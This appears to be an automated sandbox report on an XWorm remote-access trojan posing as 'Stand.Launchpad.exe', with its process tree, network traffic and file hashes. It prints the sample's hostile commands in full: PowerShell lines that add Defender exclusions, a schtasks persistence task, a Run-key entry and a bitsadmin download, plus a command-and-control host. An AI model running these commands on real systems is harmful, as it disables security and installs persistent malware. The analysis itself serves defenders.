Malware Analysis Report

2024-11-16 13:40

Sample ID 240601-glmhbacf72
Target Stand.Launchpad.exe
SHA256 30b857dc8c645dbfc4501f29907f178bca90807863540973fe9c8531e637ffbe
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

30b857dc8c645dbfc4501f29907f178bca90807863540973fe9c8531e637ffbe

Threat Level: Known bad

The file Stand.Launchpad.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Xworm

Detect Xworm Payload

Command and Scripting Interpreter: PowerShell

Drops startup file

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Download via BitsAdmin

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-01 05:53

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-01 05:53

Reported

2024-06-01 05:54

Platform

win11-20240426-en

Max time kernel

42s

Max time network

42s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
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Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
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N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3572 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 3572 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 3572 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 3572 wrote to memory of 4908 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 3572 wrote to memory of 4908 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 2156 wrote to memory of 4112 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2156 wrote to memory of 4112 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2156 wrote to memory of 4112 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4908 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 436 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 436 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4908 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 4908 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 2156 wrote to memory of 548 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
PID 2156 wrote to memory of 548 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe

"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
N/A 127.0.0.1:43107 tcp
US 104.21.48.235:443 stand.gg tcp
US 104.21.48.235:443 stand.gg tcp
DE 193.161.193.99:43107 Name1442-43107.portmap.host tcp

Files

memory/3572-0-0x0000000000230000-0x0000000000256000-memory.dmp

memory/3572-1-0x00007FFD2B183000-0x00007FFD2B185000-memory.dmp

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

MD5 1876cff7742d4df6149e00b4abf78425
SHA1 5e81c297afedde245a5e4f3835021659cf541f65
SHA256 a83142b28be6ce5e81cd2fa3bdf2e8679d2d1b79de2eaa0df59fde1a0e2ee032
SHA512 a6dfabf8ba1a7ffbe20fabb12cf964ea3eca04f2115a1f312c7e02daef0c3824947c15e53cab2cf91a01b6945d689d8ce8bb47eee4f39a4e0d8b62292c47722c

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log

MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

memory/4908-17-0x0000000000A60000-0x0000000000A7E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 4ec749a8c1d7d0a4be501465d297d3dc
SHA1 d7727cb4dc96d653bce6c6bbe70ff171ecc197b7
SHA256 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6
SHA512 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e

memory/4908-19-0x00007FFD2B180000-0x00007FFD2BC42000-memory.dmp

memory/1760-22-0x000001851A520000-0x000001851A542000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wgnz5pjj.r4t.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 05b3cd21c1ec02f04caba773186ee8d0
SHA1 39e790bfe10abf55b74dfb3603df8fcf6b5e6edb
SHA256 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8
SHA512 e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d5bfa8bfa4724309248f8219e3501e84
SHA1 dcdf5cd53a02d97515985215ad46a36feb37167b
SHA256 6f6147c1ea4009c4c19a07b05e43792bdacc48226db2fa3de5189725cdd4964a
SHA512 5c3b486b4c4d715009ff362c33c7b268ee59b9f674217ffef82aa4c704afa6bea14e048f47b095aa62c11d016533d72e89076261068cb793c9a9737b48bef304

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 69416944dac24129d0969e2ac46f0533
SHA1 d71969659956b32411e0606a9bee640a0b108ef4
SHA256 dffc7e01106427982d7cafd3d7e3be37e16b098fbb0958410ea8d7c68bfb97ca
SHA512 aabb330053579af0d9de2661bd70eaadfd2e2e617759bc9c380db1c64731c6711304e49882138e9d337815377ee012a7458f91f692cb31538d73624385867f4c

memory/548-68-0x000001E5AF760000-0x000001E5AF776000-memory.dmp

memory/4908-84-0x00007FFD2B180000-0x00007FFD2BC42000-memory.dmp

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

MD5 e91ba7113b9ee73bf73cfbf795374b4f
SHA1 beef122500329c4babf0903b183e7ecc933a234a
SHA256 71d02f8625c90f7c9499fcbc6f2335fbacf9a5fdc58b475e0ffde696de5a9c98
SHA512 7c7644a911b218d20300a51c288182312bf57e48c78faf1791c0f710451bd907721d64f3f6d26a0cac77fa7ed088b0bc084d272f4416299122adbec9896586e7

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

MD5 2b4dd1474237a4dc70e20f421915ac73
SHA1 d584be2833b590e89e2de69626463c89f6637baf
SHA256 f3d1b90af58e98b943ee01c3ced5d13c6bdbc5f0c2eaeca9a204aff10c2d3b9d
SHA512 f7b5470b68bc07270f01cd0032b61e60803406bb5f1fc06093dde8fc00ea7c309a9d1c467853c7af5521adf8bacc2257649a4c65d97023357950353707f31c1e